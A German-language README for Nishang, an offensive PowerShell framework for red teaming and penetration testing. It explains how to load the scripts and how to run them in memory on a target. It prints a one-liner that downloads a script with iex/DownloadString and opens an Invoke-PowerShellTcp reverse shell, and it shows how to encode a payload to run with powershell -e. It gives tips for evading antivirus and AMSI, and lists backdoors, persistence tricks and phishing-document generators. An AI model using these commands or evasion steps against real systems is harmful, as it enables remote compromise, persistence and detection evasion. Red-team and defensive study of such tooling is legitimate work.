
Nishang - Offensives PowerShell für Red Team, Penetrationstests und offensive Sicherheit.
Von Nikhil Mittal Gründer von Altered Security - Praxisorientiertes Red Team und Enterprise-Sicherheitstraining!
Importieren Sie alle Skripte in die aktuelle PowerShell-Sitzung (PowerShell v3 und höher).
PS C:\nishang> Import-Module .\nishang.psm1
Verwenden Sie die einzelnen Skripte mit Dot-Sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Um Hilfe zu einem Skript oder einer Funktion zu erhalten, verwenden Sie:
PS C:\nishang> Get-Help [scriptname] -full
Beachten Sie, dass die Hilfe ab Version 0.3.8 für die nach dem Ausführen des Skripts geladene Funktion und nicht für das Skript selbst verfügbar ist. In allen Fällen ist der Funktionsname identisch mit dem Skriptnamen.
Um beispielsweise die Hilfe zu Get-WLAN-Keys.ps1 anzuzeigen, verwenden Sie
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Nishang-Skripte werden von vielen Antivirenprogrammen als bösartig eingestuft. Die Skripte auf einem Ziel sollen im Arbeitsspeicher verwendet werden, was mit PowerShell sehr einfach ist. Zwei grundlegende Methoden zur Ausführung von PowerShell-Skripten im Arbeitsspeicher:
Methode 1. Verwenden Sie den In-Memory-Download und die Ausführung: Verwenden Sie den folgenden Befehl, um ein PowerShell-Skript von einer Remote-Shell, einer Meterpreter-Native-Shell, einer Webshell usw. auszuführen, sowie die von ihm exportierte Funktion. Alle Skripte in Nishang exportieren eine Funktion mit demselben Namen in der aktuellen PowerShell-Sitzung.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Methode 2. Verwenden Sie den Parameter -encodedcommand (oder -e) von PowerShell
Alle Skripte in Nishang exportieren eine Funktion mit demselben Namen in der aktuellen PowerShell-Sitzung. Stellen Sie daher sicher, dass der Funktionsaufruf im Skript selbst erfolgt, wenn Sie den Parameter encodedcommand von einer Nicht-PowerShell-Shell aus verwenden. Fügen Sie für obiges Beispiel einen Funktionsaufruf (ohne Anführungszeichen) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]" hinzu.
Kodieren Sie das Skript mit Invoke-Encode aus Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Kodierte Daten geschrieben nach .\encoded.txt
Kodierter Befehl geschrieben nach .\encodedcommand.txt
Verwenden Sie von oben das kodierte Skript aus encodedcommand.txt und führen Sie es auf einem Ziel aus, auf dem Befehle ausgeführt werden können (eine Remote-Shell, eine Meterpreter-Native-Shell, eine Webshell usw.). Verwenden Sie es wie folgt:
C:\Users\target> powershell -e [encodedscript]
Falls die Skripte trotzdem erkannt werden, hilft es, die Funktions- und Parameternamen zu ändern und den Hilfetext zu entfernen.
Falls AMSI von Windows 10 die Skriptausführung weiterhin blockiert, siehe diesen Blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang enthält derzeit die folgenden Skripte und Payloads.
Ändert AD-Objekte, um minimale Berechtigungen für DCShadow bereitzustellen.
Führen Sie PowerShell-Skripte im Arbeitsspeicher aus, führen Sie Befehle aus und laden Sie Dateien mit dieser Webshell hoch und herunter.
Ein Hintertürchen, das Anweisungen von Drittanbieter-Websites empfangen und PowerShell-Skripte im Arbeitsspeicher ausführen kann.
Ein Hintertürchen, das Befehle und PowerShell-Skripte aus DNS-TXT-Abfragen empfangen, auf einem Ziel ausführen und über die Abfragen ferngesteuert werden kann.
Ein Hintertürchen, das PowerShell-Skripte zu einem bestimmten Zeitpunkt auf einem Ziel ausführen kann.
Ein Hintertürchen, das Befehle und Skripte von einer WLAN-SSID empfangen kann, ohne sich mit ihr zu verbinden.
Ein Hintertürchen, das den Windows-Bildschirmschoner für die ferngesteuerte Befehls- und Skriptausführung nutzen kann.
Ein Hintertürchen, das alternative Datenströme und die Windows-Registrierung zur Persistenz nutzen kann.
Ein Hintertürchen, das den bekannten Debugger-Trick verwendet, um Payloads mit Sticky Keys und Utilman (Windows-Taste + U) auszuführen.
Ändert Berechtigungen von DCOM- und WMI-Namespaces, um einem nicht-administrativen Benutzer Zugriff zu gewähren.
Ändert Berechtigungen der PowerShell-Remoteverwaltung, um einem nicht-administrativen Benutzer Zugriff zu gewähren.
Implementierung öffentlich bekannter Methoden zur Umgehung/Vermeidung von AMSI.
Erstellt infizierte CHM-Dateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt Word-Dateien und infiziert vorhandene, um PowerShell-Befehle und -Skripte auszuführen.
Erstellt Excel-Dateien und infiziert vorhandene, um PowerShell-Befehle und -Skripte auszuführen.
Erstellt eine HTA-Datei, die auf einem Webserver bereitgestellt und in Phishing-Kampagnen verwendet werden kann.
Erstellt signierte JAR-Dateien, die mit Applets für Skript- und Befehlsausführung verwendet werden können.
Erstellt Verknüpfungsdateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt IQY-Dateien für das Phishing von Anmeldeinformationen und SMB-Hashes.
Erstellt JS-Dateien, die PowerShell-Befehle und -Skripte ausführen können.
Erstellt SCT-Dateien, die PowerShell-Befehle und -Skripte ausführen können.